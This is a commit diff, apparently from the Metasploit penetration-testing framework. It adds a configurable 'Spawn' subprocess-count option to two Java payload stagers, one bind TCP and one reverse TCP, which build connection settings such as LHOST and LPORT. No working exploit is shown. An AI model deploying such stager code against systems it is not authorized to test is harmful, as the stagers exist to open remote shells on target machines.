add a Spawn advanced option to java stagers, see #3009

git-svn-id: file:///home/svn/framework3/trunk@10946 4d416f70-5f16-0410-b530-b9f4589650da
unstable
James Lee 2010-11-08 06:08:09 +00:00
parent 5c692aa034
commit 0d664c3a71
2 changed files with 18 additions and 2 deletions

View File

@ -34,12 +34,20 @@ module Metasploit3
'Handler' => Msf::Handler::BindTcp, 'Handler' => Msf::Handler::BindTcp,
'Stager' => {'Payload' => ""} 'Stager' => {'Payload' => ""}
)) ))
register_advanced_options(
[
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@class_files = [ ] @class_files = [ ]
end end
def config def config
spawn = datastore["SPAWN"] || 2
c = "" c = ""
#config << "Spawn=2\n" c << "Spawn=#{spawn}\n"
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"] c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]
c c

View File

@ -34,12 +34,20 @@ module Metasploit3
'Handler' => Msf::Handler::ReverseTcp, 'Handler' => Msf::Handler::ReverseTcp,
'Stager' => {'Payload' => ""} 'Stager' => {'Payload' => ""}
)) ))
register_advanced_options(
[
Msf::OptInt.new('Spawn', [ true, "Number of subprocesses to spawn", 2 ])
], self.class
)
@class_files = [ ] @class_files = [ ]
end end
def config def config
spawn = datastore["SPAWN"] || 2
c = "" c = ""
c << "Spawn=2\n" c << "Spawn=#{spawn}\n"
c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"] c << "LHOST=#{datastore["LHOST"]}\n" if datastore["LHOST"]
c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"] c << "LPORT=#{datastore["LPORT"]}\n" if datastore["LPORT"]